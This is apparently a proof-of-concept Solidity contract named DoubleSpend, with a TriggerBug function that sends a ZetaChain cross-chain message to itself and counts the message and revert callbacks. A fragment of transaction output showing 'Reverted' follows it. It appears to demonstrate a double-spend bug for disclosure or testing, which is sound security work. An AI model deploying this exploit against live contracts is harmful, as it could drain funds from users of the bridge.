    contract DoubleSpend is ZetaInteractor, ZetaReceiver {

        IERC20 _zetaToken;
        uint256 public calledMessage = 0;
        uint256 public calledRevert = 0;
        bytes32 public constant CROSS_CHAIN_MESSAGE_MESSAGE_TYPE =
            keccak256("CROSS_CHAIN_CROSS_CHAIN_MESSAGE");

        // 0x733aB8b06DDDEf27Eaa72294B0d7c9cEF7f12db9, 0xA8D5060feb6B456e886F023709A2795373691E63
        constructor(
            address connectorAddress,
            address zetaTokenAddress
        ) ZetaInteractor(connectorAddress) {
            _zetaToken = IERC20(zetaTokenAddress);
        }

        function onZetaMessage(ZetaInterfaces.ZetaMessage calldata zetaMessage) external override{
            calledMessage += 1; 
        }

        function onZetaRevert(ZetaInterfaces.ZetaRevert calldata zetaRevert) external override{
            calledRevert += 1;
        }   


        function TriggerBug () public payable{
            uint256 destinationChainId = 1337;
            uint256 zetaValueAndGas = _zetaToken.balanceOf(address(this)) / 4; 

            _zetaToken.approve(address(connector), zetaValueAndGas);
            
            // Make the CCTX
            connector.send(
                ZetaInterfaces.SendInput({
                    destinationChainId: destinationChainId,
                    destinationAddress: abi.encodePacked(address(this)), // Send to ourselves
                    destinationGasLimit: 300000,
                    message: abi.encode(CROSS_CHAIN_MESSAGE_MESSAGE_TYPE, "Hey!"),
                    zetaValueAndGas: zetaValueAndGas,
                    zetaParams: abi.encode("")
                })
            );
        }
    }
      "cctx_status": {
        "status": "Reverted",
        ...
      },
